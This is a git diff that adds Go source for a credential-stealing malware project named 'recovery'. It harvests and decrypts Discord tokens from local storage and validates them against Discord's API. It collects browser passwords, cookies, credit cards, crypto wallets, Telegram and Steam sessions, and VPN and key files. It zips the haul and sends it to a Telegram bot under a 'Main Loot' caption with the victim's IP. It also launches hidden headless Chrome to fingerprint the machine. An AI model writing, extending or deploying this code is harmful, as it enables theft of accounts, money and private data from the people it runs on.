"net/http" + "regexp" + "time" + + "recovery/recovery/types" +) + +var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`) +var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`) +var HTTPClient = &http.Client{Timeout: 8 * time.Second} + +type DiscordApp struct { + Name string + Dir string +} + +func CheckToken(token string) bool { + req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil) + if err != nil { + return false + } + req.Header.Set("Authorization", token) + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36") + resp, err := HTTPClient.Do(req) + if err != nil { + return false + } + resp.Body.Close() + return resp.StatusCode == 200 +} + +type TokenResult = types.DiscordTokenResult diff --git a/native/recovery/discord/discord_unix.go b/native/recovery/discord/discord_unix.go new file mode 100644 index 0000000..ccfd45c --- /dev/null +++ b/native/recovery/discord/discord_unix.go @@ -0,0 +1,184 @@ +//go:build !windows + +package discord + +import ( + "crypto/sha1" + "encoding/base64" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + + "recovery/recovery/crypto" + "recovery/recovery/platform" + + "golang.org/x/crypto/pbkdf2" +) + +func discordConfigDir() string { + home, _ := os.UserHomeDir() + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + xdg := os.Getenv("XDG_CONFIG_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".config") +} + +func discordV10Key(appDir string) []byte { + data, err := os.ReadFile(filepath.Join(appDir, "Local State")) + if err != nil { + if runtime.GOOS == "linux" { + return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New) + } + if runtime.GOOS == "darwin" { + return darwinDiscordKey() + } + return nil + } + var state map[string]interface{} + if err := json.Unmarshal(data, &state); err != nil { + return nil + } + osCrypt, _ := state["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil + } + encKeyB64, _ := osCrypt["encrypted_key"].(string) + _ = encKeyB64 + + if runtime.GOOS == "linux" { + return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New) + } + if runtime.GOOS == "darwin" { + return darwinDiscordKey() + } + return nil +} + +func darwinDiscordKey() []byte { + for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} { + out, err := exec.Command("security", "find-generic-password", "-wa", service).Output() + if err != nil { + continue + } + password := strings.TrimSpace(string(out)) + if password != "" { + return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New) + } + } + return nil +} + +var discordApps = []DiscordApp{ + {"Discord", "discord"}, + {"Discord PTB", "discordptb"}, + {"Discord Canary", "discordcanary"}, + {"Discord Dev", "discorddevelopment"}, +} + +func readDiscordFile(path string, pids []uint32) ([]byte, error) { + return platform.ReadLockedFile(path, pids) +} + +func ExtractTokens() []TokenResult { + configDir := discordConfigDir() + + type candidate struct { + token string + source string + } + + seen := make(map[string]struct{}) + var candidates []candidate + + for _, app := range discordApps { + appDir := filepath.Join(configDir, app.Dir) + leveldb := filepath.Join(appDir, "Local Storage", "leveldb") + + entries, err := os.ReadDir(leveldb) + if err != nil { + continue + } + + pids, _ := platform.FindProcesses(app.Dir) + + for _, e := range entries { + if e.IsDir() { + continue + } + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids) + if err != nil { + continue + } + + for _, m := range TokenRe.FindAll(data, -1) { + tok := string(m) + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + + for _, m := range EncRe.FindAll(data, -1) { + raw := string(m) + colonIdx := strings.Index(raw, ":") + if colonIdx < 0 { + continue + } + blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:]) + if err != nil { + continue + } + key := discordV10Key(appDir) + if key == nil { + continue + } + tok := crypto.DecryptChromiumBlob(blob, key, nil) + if tok == "" || !TokenRe.MatchString(tok) { + continue + } + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + } + } + + if len(candidates) == 0 { + return nil + } + + valid := make([]bool, len(candidates)) + var wg sync.WaitGroup + sem := make(chan struct{}, 6) + for i, c := range candidates { + wg.Add(1) + go func(idx int, tok string) { + defer wg.Done() + sem <- struct{}{} + valid[idx] = CheckToken(tok) + <-sem + }(i, c.token) + } + wg.Wait() + + var out []TokenResult + for i, c := range candidates { + if valid[i] { + out = append(out, TokenResult{Token: c.token, Source: c.source}) + } + } + return out +} diff --git a/native/recovery/discord/discord_windows.go b/native/recovery/discord/discord_windows.go new file mode 100644 index 0000000..cd9de12 --- /dev/null +++ b/native/recovery/discord/discord_windows.go @@ -0,0 +1,171 @@ +//go:build windows + +package discord + +import ( + "encoding/base64" + "encoding/json" + "os" + "path/filepath" + "strings" + "sync" + + "recovery/recovery/crypto" + "recovery/recovery/platform" +) + +var discordApps = []DiscordApp{ + {"Discord", "discord"}, + {"Discord PTB", "discordptb"}, + {"Discord Canary", "discordcanary"}, + {"Discord Dev", "discorddevelopment"}, +} + +func discordV10Key(appDir string) []byte { + data, err := os.ReadFile(filepath.Join(appDir, "Local State")) + if err != nil { + return nil + } + var state map[string]interface{} + if err := json.Unmarshal(data, &state); err != nil { + return nil + } + osCrypt, _ := state["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil + } + encKeyB64, _ := osCrypt["encrypted_key"].(string) + if encKeyB64 == "" { + return nil + } + encKey, err := base64.StdEncoding.DecodeString(encKeyB64) + if err != nil || len(encKey) <= 5 { + return nil + } + key, err := crypto.CryptUnprotectData(encKey[5:]) + if err != nil { + return nil + } + return key +} + +var discordExeNames = map[string]string{ + "discord": "Discord.exe", + "discordptb": "DiscordPTB.exe", + "discordcanary": "DiscordCanary.exe", + "discorddevelopment": "DiscordDevelopment.exe", +} + +func readDiscordFile(path string, pids []uint32) ([]byte, error) { + return platform.ReadLockedFile(path, pids) +} + +func ExtractTokens() []TokenResult { + appdata := os.Getenv("APPDATA") + if appdata == "" { + return nil + } + + type candidate struct { + token string + source string + } + + seen := make(map[string]struct{}) + var candidates []candidate + + for _, app := range discordApps { + appDir := filepath.Join(appdata, app.Dir) + leveldb := filepath.Join(appDir, "Local Storage", "leveldb") + + entries, err := os.ReadDir(leveldb) + if err != nil { + continue + } + + exeName := discordExeNames[app.Dir] + pids, _ := platform.FindProcesses(exeName) + + var v10Key []byte + keyOnce := sync.Once{} + getKey := func() []byte { + keyOnce.Do(func() { v10Key = discordV10Key(appDir) }) + return v10Key + } + + for _, e := range entries { + if e.IsDir() { + continue + } + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids) + if err != nil { + continue + } + + for _, m := range TokenRe.FindAll(data, -1) { + tok := string(m) + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + + for _, m := range EncRe.FindAll(data, -1) { + raw := string(m) + colonIdx := strings.Index(raw, ":") + if colonIdx < 0 { + continue + } + blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:]) + if err != nil { + continue + } + key := getKey() + if key == nil { + continue + } + tok := crypto.DecryptChromiumBlob(blob, key, nil) + if tok == "" || !TokenRe.MatchString(tok) { + continue + } + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + } + } + + if len(candidates) == 0 { + logf("no candidate tokens found") + return nil + } + logf("found %d candidate tokens", len(candidates)) + + valid := make([]bool, len(candidates)) + var wg sync.WaitGroup + sem := make(chan struct{}, 6) + for i, c := range candidates { + wg.Add(1) + go func(idx int, tok string) { + defer wg.Done() + sem <- struct{}{} + valid[idx] = CheckToken(tok) + <-sem + }(i, c.token) + } + wg.Wait() + + var out []TokenResult + for i, c := range candidates { + if valid[i] { + out = append(out, TokenResult{Token: c.token, Source: c.source}) + } + } + logf("%d/%d tokens validated", len(out), len(candidates)) + return out +} diff --git a/native/recovery/discord/log.go b/native/recovery/discord/log.go new file mode 100644 index 0000000..538f311 --- /dev/null +++ b/native/recovery/discord/log.go @@ -0,0 +1,7 @@ +package discord + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[discord] "+format, args...) +} diff --git a/native/recovery/exfil/telegram.go b/native/recovery/exfil/telegram.go new file mode 100644 index 0000000..e9ac4cc --- /dev/null +++ b/native/recovery/exfil/telegram.go @@ -0,0 +1,228 @@ +package exfil + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "mime/multipart" + "net/http" + "os" + "path/filepath" + "strings" + "time" + + "recovery/recovery" + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type TelegramConfig struct { + BotToken string + ChatID string +} + +func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error { + url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken) + + hostname, _ := os.Hostname() + username := os.Getenv("USERNAME") + if username == "" { + username = os.Getenv("USER") + } + + ip := getExternalIP() + + caption := fmt.Sprintf(`✨ New Log Received ✨ + +💻 User: %s@%s +🌍 IP: %s + +📊 Main Loot: +🔑 Passwords: %d +🍪 Cookies: %d +💰 Wallets: %d + +📦 Additional Data: +💬 Messengers: %d +🔐 Extensions: %d +🔑 Keys: %d +🎮 Gaming: %d +🌐 VPNs: %d +📁 Files: %d`, + username, hostname, ip, + counts["passwords"], counts["cookies"], counts["wallets"], + counts["telegram"], counts["extensions"], counts["keys"], + counts["gaming"], counts["vpns"], counts["files"]) + + var buf bytes.Buffer + writer := multipart.NewWriter(&buf) + + _ = writer.WriteField("chat_id", cfg.ChatID) + _ = writer.WriteField("caption", caption) + _ = writer.WriteField("parse_mode", "HTML") + + part, err := writer.CreateFormFile("document", filename) + if err != nil { + return err + } + _, _ = part.Write(zipData) + writer.Close() + + req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf) + if err != nil { + return err + } + req.Header.Set("Content-Type", writer.FormDataContentType()) + + client := &http.Client{Timeout: 120 * time.Second} + resp, err := client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + body, _ := io.ReadAll(resp.Body) + return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body)) + } + return nil +} + +func getExternalIP() string { + client := &http.Client{Timeout: 5 * time.Second} + resp, err := client.Get("https://api.ipify.org") + if err != nil { + return "unknown" + } + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + return strings.TrimSpace(string(body)) +} + +func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) { + opts := types.CollectOptions{ + Browsers: true, + Passwords: true, + Cookies: true, + Autofill: true, + History: true, + Bookmarks: true, + CreditCards: true, + Discord: true, + Files: true, + Wallets: true, + Telegram: true, + Keys: true, + Apps: true, + Gaming: true, + VPNs: true, + } + + tmpDir, err := os.MkdirTemp("", "kematian-*") + if err != nil { + return nil, nil, err + } + defer os.RemoveAll(tmpDir) + + result, err := recovery.Collect(ctx, opts, nil) + if err != nil { + return nil, nil, fmt.Errorf("collection failed: %w", err) + } + + extensions := recovery.ScanExtensions() + result.Extensions = extensions + + counts := map[string]int{ + "passwords": len(result.Passwords), + "cookies": len(result.Cookies), + "wallets": len(result.Wallets), + "telegram": len(result.Telegram), + "extensions": len(result.Extensions), + "keys": len(result.Keys), + "gaming": 0, + "vpns": 0, + "files": len(result.Files), + } + + if result.Gaming != nil { + if result.Gaming.Steam != nil { + counts["gaming"]++ + } + counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay) + } + if result.VPNs != nil { + counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad) + } + + writeJSON := func(name string, data interface{}) error { + jsonData, err := json.MarshalIndent(data, "", " ") + if err != nil { + return err + } + return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644) + } + + _ = writeJSON("passwords", result.Passwords) + _ = writeJSON("cookies", result.Cookies) + _ = writeJSON("autofill", result.Autofill) + _ = writeJSON("history", result.History) + _ = writeJSON("bookmarks", result.Bookmarks) + _ = writeJSON("credit_cards", result.CreditCards) + _ = writeJSON("discord_tokens", result.DiscordTokens) + _ = writeJSON("extensions", result.Extensions) + _ = writeJSON("wallets", result.Wallets) + _ = writeJSON("telegram", result.Telegram) + _ = writeJSON("keys", result.Keys) + _ = writeJSON("app_credentials", result.AppCredentials) + _ = writeJSON("gaming", result.Gaming) + _ = writeJSON("vpns", result.VPNs) + _ = writeJSON("fingerprint", recovery.CollectFingerprint()) + _ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint()) + _ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)}) + + for _, wallet := range result.Wallets { + if wallet.Path != "" { + zipData, err := recovery.ZipDirectory(wallet.Path) + if err == nil && len(zipData) > 0 { + walletZipPath := filepath.Join(tmpDir, fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name))) + os.WriteFile(walletZipPath, zipData, 0644) + } + } + } + + for _, tg := range result.Telegram { + if tg.Path != "" { + zipData, err := recovery.ZipTelegram(tg.Path) + if err == nil && len(zipData) > 0 { + tgZipPath := filepath.Join(tmpDir, fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account))) + os.WriteFile(tgZipPath, zipData, 0644) + } + } + } + + if result.Gaming != nil { + if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" { + zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath) + if err == nil && len(zipData) > 0 { + os.WriteFile(filepath.Join(tmpDir, "gaming_steam.zip"), zipData, 0644) + } + } + } + + zipData, err := ziputil.ZipDirectory(tmpDir) + if err != nil { + return nil, nil, err + } + + return zipData, counts, nil +} + +func sanitizeFilename(name string) string { + replacer := strings.NewReplacer( + "/", "_", "\\", "_", ":", "_", "*", "_", "?", "_", + "\"", "_", "<", "_", ">", "_", "|", "_", " ", "_", + ) + return replacer.Replace(name) +} \ No newline at end of file diff --git a/native/recovery/fingerprint/fingerprint_browser.go b/native/recovery/fingerprint/fingerprint_browser.go new file mode 100644 index 0000000..96e27aa --- /dev/null +++ b/native/recovery/fingerprint/fingerprint_browser.go @@ -0,0 +1,264 @@ +//go:build windows + +package fingerprint + +import ( + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "github.com/chromedp/cdproto/runtime" + "github.com/chromedp/chromedp" +) + +func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams { + return p.WithAwaitPromise(true) +} + +const fingerprintJS = `(async () => { + const out = {}; + try { + const c = document.createElement("canvas"); + c.width = 220; c.height = 60; + const x = c.getContext("2d"); + x.textBaseline = "top"; + x.font = "14px 'Arial'"; + x.fillStyle = "#f60"; + x.fillRect(0, 0, 220, 60); + x.fillStyle = "#069"; + x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2); + x.fillStyle = "rgba(102, 204, 0, 0.7)"; + x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17); + x.fillStyle = "#f60"; + x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill(); + out.canvas = c.toDataURL(); + } catch (e) {} + try { + const gl = document.createElement("canvas").getContext("webgl"); + if (gl) { + const ext = gl.getExtension("WEBGL_debug_renderer_info"); + out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER)); + out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR)); + out.webglVersion = String(gl.getParameter(gl.VERSION)); + const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"]; + const params = {}; + for (const k of keys) { + try { + let v = gl.getParameter(gl[k]); + if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v); + params[k] = v; + } catch (e) {} + } + out.webglParams = params; + const exts = gl.getSupportedExtensions(); + out.webglExtensions = exts ? exts.slice().sort() : []; + } + } catch (e) {} + try { + const ac = new OfflineAudioContext(1, 44100, 44100); + const osc = ac.createOscillator(); + osc.type = "triangle"; + osc.frequency.value = 10000; + const comp = ac.createDynamicsCompressor(); + comp.threshold.value = -50; + comp.knee.value = 40; + comp.ratio.value = 12; + comp.attack.value = 0; + comp.release.value = 0.25; + osc.connect(comp); + comp.connect(ac.destination); + osc.start(0); + const buf = await ac.startRendering(); + const data = buf.getChannelData(0); + let sum = 0; + for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]); + out.audio = sum; + } catch (e) {} + return out; +})()` + +func CollectJS() *JSResult { + res, err := collectJS() + if err != nil { + return nil + } + return res +} + +func collectJS() (*JSResult, error) { + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + if wsURL := findExistingDebugURL(); wsURL != "" { + logf("found existing debug endpoint") + if res, err := runRemote(ctx, wsURL); err == nil { + return res, nil + } else { + logf("existing debug endpoint failed: %v", err) + } + } + + chrome := browserExePath("Chrome") + if chrome == "" { + chrome = browserExePath("Edge") + } + if chrome == "" { + return nil, fmt.Errorf("no Chromium browser found") + } + logf("spawning hidden Chromium: %s", chrome) + res, err := runHidden(ctx, chrome) + if err != nil { + logf("hidden Chromium failed: %v", err) + } + return res, err +} + +func runRemote(ctx context.Context, wsURL string) (*JSResult, error) { + allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL) + defer cancel() + return evalJS(allocCtx) +} + +func runHidden(ctx context.Context, chromePath string) (*JSResult, error) { + dataDir, err := os.MkdirTemp("", "kematian_fp_*") + if err != nil { + return nil, fmt.Errorf("temp profile dir: %w", err) + } + defer os.RemoveAll(dataDir) + + if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil { + return res, nil + } else { + logf("GPU launch failed: %v; retrying with software rendering", err) + } + return runHiddenWith(ctx, chromePath, dataDir, false) +} + +func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) { + args := []string{ + "--headless", + "--no-sandbox", + "--disable-dev-shm-usage", + "--no-first-run", + "--no-default-browser-check", + "--disable-extensions", + "--user-data-dir=" + dataDir, + "--remote-debugging-port=0", + "about:blank", + } + if gpu { + args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox") + } else { + args = append(args, "--disable-gpu") + } + + cmd := exec.Command(chromePath, args...) + cmd.Stdout = io.Discard + cmd.Stderr = chromeLogWriter{} + if err := cmd.Start(); err != nil { + return nil, fmt.Errorf("start chrome: %w", err) + } + defer func() { _ = cmd.Process.Kill() }() + + wsURL, err := waitForDevTools(dataDir, 10*time.Second) + if err != nil { + return nil, err + } + + allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL) + defer cancel() + return evalJS(allocCtx) +} + +func waitForDevTools(dataDir string, timeout time.Duration) (string, error) { + portFile := filepath.Join(dataDir, "DevToolsActivePort") + deadline := time.Now().Add(timeout) + for time.Now().Before(deadline) { + data, err := os.ReadFile(portFile) + if err == nil { + lines := strings.Split(strings.TrimSpace(string(data)), "\n") + if len(lines) >= 2 { + port := strings.TrimSpace(lines[0]) + path := strings.TrimSpace(lines[1]) + if port != "" && path != "" { + return "ws://127.0.0.1:" + port + path, nil + } + } + } + time.Sleep(100 * time.Millisecond) + } + return "", fmt.Errorf("chrome did not expose a DevTools port") +} + +type chromeLogWriter struct{} + +func (chromeLogWriter) Write(p []byte) (int, error) { + for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") { + if line != "" { + logf("chrome: %s", line) + } + } + return len(p), nil +} + +func evalJS(allocCtx context.Context) (*JSResult, error) { + cctx, cancel := chromedp.NewContext(allocCtx) + defer cancel() + + var out JSResult + if err := chromedp.Run(cctx, + chromedp.Navigate("about:blank"), + chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise), + ); err != nil { + return nil, err + } + return &out, nil +} + +func findExistingDebugURL() string { + local := os.Getenv("LOCALAPPDATA") + if local == "" { + return "" + } + for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} { + data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort")) + if err != nil { + continue + } + lines := strings.Split(strings.TrimSpace(string(data)), "\n") + if len(lines) < 2 { + continue + } + port := strings.TrimSpace(lines[0]) + if port == "" { + continue + } + if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" { + return wsURL + } + } + return "" +} + +func debugWebSocketURL(port string) (string, error) { + client := &http.Client{Timeout: 2 * time.Second} + resp, err := client.Get("http://127.0.0.1:" + port + "/json/version") + if err != nil { + return "", err + } + defer resp.Body.Close() + var v struct { + WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"` + } + if err := json.NewDecoder(resp.Body).Decode(&v); err != nil { + return "", err + } + return v.WebSocketDebuggerURL, nil +} diff --git a/native/recovery/fingerprint/fingerprint_browser_stub.go b/native/recovery/fingerprint/fingerprint_browser_stub.go new file mode 100644 index 0000000..cecad62 --- /dev/null +++ b/native/recovery/fingerprint/fingerprint_browser_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package fingerprint + +func CollectJS() *JSResult { + return nil +} diff --git a/native/recovery/fingerprint/fingerprint_stub.go b/native/recovery/fingerprint/fingerprint_stub.go new file mode 100644 index 0000000..bcc6eb1 --- /dev/null +++ b/native/recovery/fingerprint/fingerprint_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package fingerprint + +func Collect() *Result { + return &Result{} +} diff --git a/native/recovery/fingerprint/fingerprint_windows.go b/native/recovery/fingerprint/fingerprint_windows.go new file mode 100644 index 0000000..f289a5a --- /dev/null +++ b/native/recovery/fingerprint/fingerprint_windows.go @@ -0,0 +1,483 @@ +//go:build windows + +package fingerprint + +import ( + "fmt" + "net" + "os" + "path/filepath" + "runtime" + "sort" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows/registry" +) + +// ── Win32 API (raw syscalls) ────────────────────────────────────── + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + kernel32 = syscall.NewLazyDLL("kernel32.dll") + gdi32 = syscall.NewLazyDLL("gdi32.dll") + + procGetSystemMetrics = user32.NewProc("GetSystemMetrics") + procSystemParametersInfo = user32.NewProc("SystemParametersInfoW") + procGetDC = user32.NewProc("GetDC") + procReleaseDC = user32.NewProc("ReleaseDC") + procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps") + procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount") + procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx") + procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName") + procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation") +) + +type memoryStatusEx struct { + Length uint32 + MemoryLoad uint32 + TotalPhys uint64 + AvailPhys uint64 + TotalPageFile uint64 + AvailPageFile uint64 + TotalVirtual uint64 + AvailVirtual uint64 + AvailExtendedVirtual uint64 +} + +type systemTime struct { + Year uint16 + Month uint16 + DayOfWeek uint16 + Day uint16 + Hour uint16 + Minute uint16 + Second uint16 + Milliseconds uint16 +} + +type timeZoneInformation struct { + Bias int32 + StandardName [32]uint16 + StandardDate systemTime + StandardBias int32 + DaylightName [32]uint16 + DaylightDate systemTime + DaylightBias int32 +} + +type rect struct { + Left int32 + Top int32 + Right int32 + Bottom int32 +} + +// ── Collect ─────────────────────────────────────────────────────── + +func Collect() *Result { + r := &Result{ + Platform: "Win32", + OSArch: runtime.GOARCH, + } + + r.OS = osProductName() + r.HardwareConcurrency = cpuCores() + r.DeviceMemory = deviceMemoryGB() + r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES + r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN + r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN + + var work rect + if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) { + r.AvailWidth = int(work.Right - work.Left) + r.AvailHeight = int(work.Bottom - work.Top) + } + + hdc, _, _ := procGetDC.Call(0) + if hdc != 0 { + r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL + if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX + r.DevicePixelRatio = float64(dpi) / 96.0 + } + procReleaseDC.Call(0, hdc) + } + + r.Timezone, r.TimezoneOffset = timezoneInfo() + r.Languages = languages() + r.Fonts = fonts() + r.GPU = gpuName() + r.Browsers = installedBrowsers() + r.UserAgent = userAgent(r.Browsers) + r.LocalIPs = localIPs() + + return r +} + +func getSystemMetrics(index int) int { + v, _, _ := procGetSystemMetrics.Call(uintptr(index)) + return int(v) +} + +func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool { + r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni)) + return r != 0 +} + +func getDeviceCaps(hdc uintptr, index int) int { + v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index)) + return int(v) +} + +func cpuCores() int { + v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS + if v == 0 { + return runtime.NumCPU() + } + return int(v) +} + +func deviceMemoryGB() int { + var ms memoryStatusEx + ms.Length = uint32(unsafe.Sizeof(ms)) + r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms))) + if r == 0 { + return 0 + } + gb := int(ms.TotalPhys / (1 << 30)) + if gb > 8 { + gb = 8 // navigator.deviceMemory is clamped to 8 + } + return gb +} + +// ── OS ───────────────────────────────────────────────────────────── + +func osProductName() string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE) + if err != nil { + return "Windows" + } + defer k.Close() + + product, _, _ := k.GetStringValue("ProductName") + build, _, _ := k.GetStringValue("CurrentBuildNumber") + display, _, _ := k.GetStringValue("DisplayVersion") + ubr, _, _ := k.GetStringValue("UBR") + + name := product + if name == "" { + name = "Windows" + } + ver := display + if ver == "" && build != "" { + ver = build + if ubr != "" { + ver = build + "." + ubr + } + } + if ver != "" { + return name + " " + ver + } + return name +} + +// ── Timezone ────────────────────────────────────────────────────── + +// windowsToIANA maps common Windows timezone names to IANA identifiers. +var windowsToIANA = map[string]string{ + "Eastern Standard Time": "America/New_York", + "Central Standard Time": "America/Chicago", + "Mountain Standard Time": "America/Denver", + "Pacific Standard Time": "America/Los_Angeles", + "Alaskan Standard Time": "America/Anchorage", + "Hawaiian Standard Time": "Pacific/Honolulu", + "Atlantic Standard Time": "America/Halifax", + "Newfoundland Standard Time": "America/St_Johns", + "GMT Standard Time": "Europe/London", + "Greenwich Standard Time": "Atlantic/Reykjavik", + "W. Europe Standard Time": "Europe/Berlin", + "Central Europe Standard Time": "Europe/Budapest", + "Romance Standard Time": "Europe/Paris", + "Central European Standard Time": "Europe/Warsaw", + "E. Europe Standard Time": "Europe/Chisinau", + "Russian Standard Time": "Europe/Moscow", + "Israel Standard Time": "Asia/Jerusalem", + "China Standard Time": "Asia/Shanghai", + "Tokyo Standard Time": "Asia/Tokyo", + "Korea Standard Time": "Asia/Seoul", + "Singapore Standard Time": "Asia/Singapore", + "India Standard Time": "Asia/Kolkata", + "AUS Eastern Standard Time": "Australia/Sydney", + "New Zealand Standard Time": "Pacific/Auckland", + "SA Pacific Standard Time": "America/Bogota", + "Argentina Standard Time": "America/Argentina/Buenos_Aires", + "E. South America Standard Time": "America/Sao_Paulo", +} + +func timezoneInfo() (string, int) { + var tzi timeZoneInformation + r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi))) + if r == 0xFFFFFFFF { + return "", 0 + } + windowsName := syscall.UTF16ToString(tzi.StandardName[:]) + offset := -int(tzi.Bias) + + iana := windowsToIANA[windowsName] + if iana == "" { + iana = windowsName + } + return iana, offset +} + +// ── Languages ───────────────────────────────────────────────────── + +func languages() []string { + var langs []string + var buf [85]uint16 + r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) + if r > 0 && r <= uintptr(len(buf)) { + locale := syscall.UTF16ToString(buf[:r]) + if locale != "" { + langs = append(langs, locale) + } + } + + if prefs := chromeAcceptLanguages(); prefs != "" { + for _, l := range strings.Split(prefs, ",") { + l = strings.TrimSpace(l) + if l != "" && !containsStr(langs, l) { + langs = append(langs, l) + } + } + } + return langs +} + +func chromeAcceptLanguages() string { + local := os.Getenv("LOCALAPPDATA") + if local == "" { + return "" + } + path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + s := string(data) + idx := strings.Index(s, `"accept_languages"`) + if idx < 0 { + return "" + } + rest := s[idx:] + colon := 